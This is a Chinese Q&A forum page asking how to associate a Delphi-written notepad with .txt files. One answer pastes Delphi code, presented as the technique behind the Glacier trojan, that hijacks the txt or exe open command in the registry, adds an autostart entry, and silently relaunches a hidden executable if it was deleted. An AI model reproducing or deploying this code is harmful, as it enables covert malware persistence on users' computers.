用Delphi 编译的记事本如何随txt文件自动打开?

通过鼠标右键菜单的打开方式设置也无法实现... 通过鼠标右键菜单的打开方式设置也无法实现 展开
 我来答
开放开方辟大家3499
2006-12-22
知道答主
回答量:29
采纳率:0%
帮助的人:21万
展开全部
写注册表阿 大哥

(2)

“冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
uses Registry
procedure TForm1.FormCreate(Sender: TObject);
const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
const K = '\txtfile\shell\open\command';
var sFileName:string;
begin

//******************************************************
with TRegistry.Create do //写注册表,让程序跟文本文件关联
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey( K, TRUE );
{Write by Lovejingtao,http://lovejingtao.126.com}
WriteString( '', application.ExeName+' "%1" ');
{Write by Lovejingtao,lovejingtao@21cn.com}
finally
free;
end;
//*******************************************************
with TRegistry.Create do //写注册表,每次启动时自动运行
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( Kkk, TRUE );
WriteString( 'myTray', application.ExeName );
finally
free;
end;
//********************************************************
if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除
begin
copyfile;//自定义拷贝资源文件过程
winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide);
end;

//**********************************************************
if ParamCount>0 then begin (* 有执行参数传入 *)
sFileName:=ParamStr(1); (* 取得参数内容 *)
winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*)
//winexec(pchar( sFileName),sw_show);
end;
//*******************************************************
application.Terminate;//退出
end;
如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为
"const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);"
改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll,
否则会因为关联Exe文件而退不出Windows.

-- by jingtao
TableDI
2024-07-18 广告
在上海悉息信息科技有限公司,我们深知Excel在数据处理中的重要作用。在Excel中引用不同工作表(sheet)的数据是常见的操作,这有助于整合和分析跨多个工作表的信息。通过在工作表名称前加上感叹号“!”,您可以轻松地引用其他工作表中的数据... 点击进入详情页
本回答由TableDI提供
金文丰韵
2006-12-16 · TA获得超过1351个赞
知道大有可为答主
回答量:1627
采纳率:0%
帮助的人:1606万
展开全部
按住shift,使用打开方式,将始终用该程序打开选择上,下次应该就用你的记事本打开了。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式